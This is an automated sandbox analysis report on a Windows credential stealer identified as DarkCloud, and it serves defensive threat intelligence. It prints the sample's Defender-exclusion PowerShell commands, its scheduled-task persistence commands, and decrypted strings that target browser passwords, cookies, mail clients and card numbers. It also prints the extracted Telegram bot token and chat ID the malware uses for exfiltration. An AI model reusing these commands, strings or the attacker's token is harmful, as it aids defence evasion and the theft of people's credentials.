Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
DESCRIPTION.exe

Overview

General Information

Sample name:DESCRIPTION.exe
Analysis ID:1591788
MD5:93671481ec5215bb84afde48ad2280f1
SHA1:1a4f8481cada880a1122d83707b3f9ea819f1139
SHA256:00580380c811027c799634812e6f785df11f2f2eb3fa1718ac8c4ff47fd6ef2d
Tags:exeuser-TeamDreier
Infos:

Detection

DarkCloud
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Scheduled temp file as task from temp location
Yara detected AntiVM3
Yara detected DarkCloud
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Sample uses string decryption to hide its real strings
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
Writes or reads registry keys via WMI
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • DESCRIPTION.exe (PID: 180 cmdline: "C:\Users\user\Desktop\DESCRIPTION.exe" MD5: 93671481EC5215BB84AFDE48AD2280F1)
    • powershell.exe (PID: 2108 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 2056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 3276 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 4132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • schtasks.exe (PID: 4032 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmp9A10.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)
      • conhost.exe (PID: 5992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • DESCRIPTION.exe (PID: 5040 cmdline: "C:\Users\user\Desktop\DESCRIPTION.exe" MD5: 93671481EC5215BB84AFDE48AD2280F1)
  • OdoiXyuXnaQN.exe (PID: 5480 cmdline: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe MD5: 93671481EC5215BB84AFDE48AD2280F1)
    • schtasks.exe (PID: 5840 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmpAB27.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)
      • conhost.exe (PID: 6700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • OdoiXyuXnaQN.exe (PID: 7124 cmdline: "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe" MD5: 93671481EC5215BB84AFDE48AD2280F1)
    • OdoiXyuXnaQN.exe (PID: 4824 cmdline: "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe" MD5: 93671481EC5215BB84AFDE48AD2280F1)
    • OdoiXyuXnaQN.exe (PID: 5348 cmdline: "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe" MD5: 93671481EC5215BB84AFDE48AD2280F1)
      • WmiPrvSE.exe (PID: 4428 cmdline: C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding MD5: 64ACA4F48771A5BA50CD50F2410632AD)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DarkCloud StealerStealer is written in Visual Basic.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud

Malware Configuration

Threatname: DarkCloud

{"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendMessage?chat_id=6732456666"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000002.1501721613.0000000003CF2000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DarkCloudYara detected DarkCloudJoe Security
    Process Memory Space: DESCRIPTION.exe PID: 180JoeSecurity_DarkCloudYara detected DarkCloudJoe Security
      Process Memory Space: DESCRIPTION.exe PID: 180JoeSecurity_AntiVM_3Yara detected AntiVM_3Joe Security
        Process Memory Space: OdoiXyuXnaQN.exe PID: 5480JoeSecurity_AntiVM_3Yara detected AntiVM_3Joe Security
          Process Memory Space: OdoiXyuXnaQN.exe PID: 5348JoeSecurity_DarkCloudYara detected DarkCloudJoe Security

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            1.2.DESCRIPTION.exe.3dfe800.0.unpackJoeSecurity_DarkCloudYara detected DarkCloudJoe Security
              1.2.DESCRIPTION.exe.3fe4798.1.unpackJoeSecurity_DarkCloudYara detected DarkCloudJoe Security
                1.2.DESCRIPTION.exe.3db4ec0.2.unpackJoeSecurity_DarkCloudYara detected DarkCloudJoe Security
                  1.2.DESCRIPTION.exe.3fe4798.1.raw.unpackJoeSecurity_DarkCloudYara detected DarkCloudJoe Security
                    1.2.DESCRIPTION.exe.3db4ec0.2.raw.unpackJoeSecurity_DarkCloudYara detected DarkCloudJoe Security
                      Click to see the 1 entries

                      Sigma Signatures

                      System Summary

                      barindex
                      Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\DESCRIPTION.exe", ParentImage: C:\Users\user\Desktop\DESCRIPTION.exe, ParentProcessId: 180, ParentProcessName: DESCRIPTION.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe", ProcessId: 2108, ProcessName: powershell.exe
                      Sigma detected: Powershell Defender Exclusion
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\DESCRIPTION.exe", ParentImage: C:\Users\user\Desktop\DESCRIPTION.exe, ParentProcessId: 180, ParentProcessName: DESCRIPTION.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe", ProcessId: 2108, ProcessName: powershell.exe
                      Sigma detected: Suspicious Add Scheduled Task Parent
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmpAB27.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmpAB27.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe, ParentImage: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe, ParentProcessId: 5480, ParentProcessName: OdoiXyuXnaQN.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmpAB27.tmp", ProcessId: 5840, ProcessName: schtasks.exe
                      Sigma detected: Suspicious Schtasks From Env Var Folder
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmp9A10.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmp9A10.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\DESCRIPTION.exe", ParentImage: C:\Users\user\Desktop\DESCRIPTION.exe, ParentProcessId: 180, ParentProcessName: DESCRIPTION.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmp9A10.tmp", ProcessId: 4032, ProcessName: schtasks.exe
                      Sigma detected: Non Interactive PowerShell Process Spawned
                      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\DESCRIPTION.exe", ParentImage: C:\Users\user\Desktop\DESCRIPTION.exe, ParentProcessId: 180, ParentProcessName: DESCRIPTION.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe", ProcessId: 2108, ProcessName: powershell.exe

                      Persistence and Installation Behavior

                      barindex
                      Sigma detected: Scheduled temp file as task from temp location
                      Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmp9A10.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmp9A10.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\DESCRIPTION.exe", ParentImage: C:\Users\user\Desktop\DESCRIPTION.exe, ParentProcessId: 180, ParentProcessName: DESCRIPTION.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmp9A10.tmp", ProcessId: 4032, ProcessName: schtasks.exe

                      Suricata Signatures

                      ⊘No Suricata rule has matched

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Found malware configuration
                      Source: 1.2.DESCRIPTION.exe.3db4ec0.2.raw.unpackMalware Configuration Extractor: DarkCloud {"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendMessage?chat_id=6732456666"}
                      Multi AV Scanner detection for dropped file
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeReversingLabs: Detection: 34%
                      Multi AV Scanner detection for submitted file
                      Source: DESCRIPTION.exeVirustotal: Detection: 33%Perma Link
                      Source: DESCRIPTION.exeReversingLabs: Detection: 31%
                      AI detected suspicious sample
                      Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                      Machine Learning detection for dropped file
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeJoe Sandbox ML: detected
                      Machine Learning detection for sample
                      Source: DESCRIPTION.exeJoe Sandbox ML: detected
                      Sample uses string decryption to hide its real strings
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Cookies
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: \Default\Login Data
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: \Login Data
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: //setting[@name='Password']/value
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Password :
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Software\Martin Prikryl\WinSCP 2\Sessions
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: SMTP Email Address
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: NNTP Email Address
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Email
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: HTTPMail User Name
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: HTTPMail Server
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^(?!:\/\/)([a-zA-Z0-9-_]+\.)[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]{2,11}?$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Password
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^3[47][0-9]{13}$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^(6541|6556)[0-9]{12}$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^389[0-9]{11}$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^3(?:0[0-5]|[68][0-9])[0-9]{11}$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^63[7-9][0-9]{13}$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: mail\
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^(?:2131|1800|35\\d{3})\\d{11}$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^9[0-9]{15}$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^(6304|6706|6709|6771)[0-9]{12,15}$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Mastercard
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^(6334|6767)[0-9]{12}|(6334|6767)[0-9]{14}|(6334|6767)[0-9]{15}$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^(4903|4905|4911|4936|6333|6759)[0-9]{12}|(4903|4905|4911|4936|6333|6759)[0-9]{14}|(4903|4905|4911|4936|6333|6759)[0-9]{15}|564182[0-9]{10}|564182[0-9]{12}|564182[0-9]{13}|633110[0-9]{10}|633110[0-9]{12}|633110[0-9]{13}$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^(62[0-9]{14,17})$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Visa Card
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: ^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})$
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Visa Master Card
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: \logins.json
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: \signons.sqlite
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Foxmail.exe
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: \Accounts\Account.rec0
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: \AccCfg\Accounts.tdat
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: EnableSignature
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Application : FoxMail
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: encryptedUsername
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: logins
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: encryptedPassword
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: Select * from Win32_ComputerSystem
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: \cookies.db
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: \Default\Cookies
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: \Cookies
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: \cookies.sqlite
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: \global-messages-db.sqlite
                      Source: 1.2.DESCRIPTION.exe.3dfe800.0.unpackString decryptor: C:\\MailMasterData
                      Source: DESCRIPTION.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                      Source: DESCRIPTION.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                      Source: Binary string: W.pdb4 source: DESCRIPTION.exe, 00000001.00000002.1501721613.0000000003CF2000.00000004.00000800.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715156422.0000000000442000.00000040.00000400.00020000.00000000.sdmp
                      Source: Binary string: joip.pdbSHA256 source: DESCRIPTION.exe, OdoiXyuXnaQN.exe.1.dr
                      Source: Binary string: joip.pdb source: DESCRIPTION.exe, OdoiXyuXnaQN.exe.1.dr
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Users\userJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Users\user\AppDataJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\TemplatesJump to behavior
                      Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
                      Source: Joe Sandbox ViewIP Address: 162.55.60.2 162.55.60.2
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 9_2_00438C80 InternetOpenA,InternetOpenUrlA,InternetReadFile,9_2_00438C80
                      Source: DESCRIPTION.exe, 00000001.00000002.1500033277.00000000024B9000.00000004.00000800.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 0000000A.00000002.1557268789.0000000002AF9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://showip.net/
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://showip.net/#z
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://showip.net/)z
                      Source: DESCRIPTION.exe, OdoiXyuXnaQN.exe.1.drString found in binary or memory: http://tempuri.org/DataSet1.xsd
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719577553.0000000004207000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/B
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/S
                      Source: DESCRIPTION.exe, 00000001.00000002.1501721613.0000000003CF2000.00000004.00000800.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, OdoiXyuXnaQN.exe, 00000010.00000002.2715156422.0000000000409000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=.BMP
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2720680009.0000000004383000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/mplates
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/t
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719577553.0000000004207000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
                      Source: DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003EAE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com_P

                      System Summary

                      barindex
                      Writes or reads registry keys via WMI
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
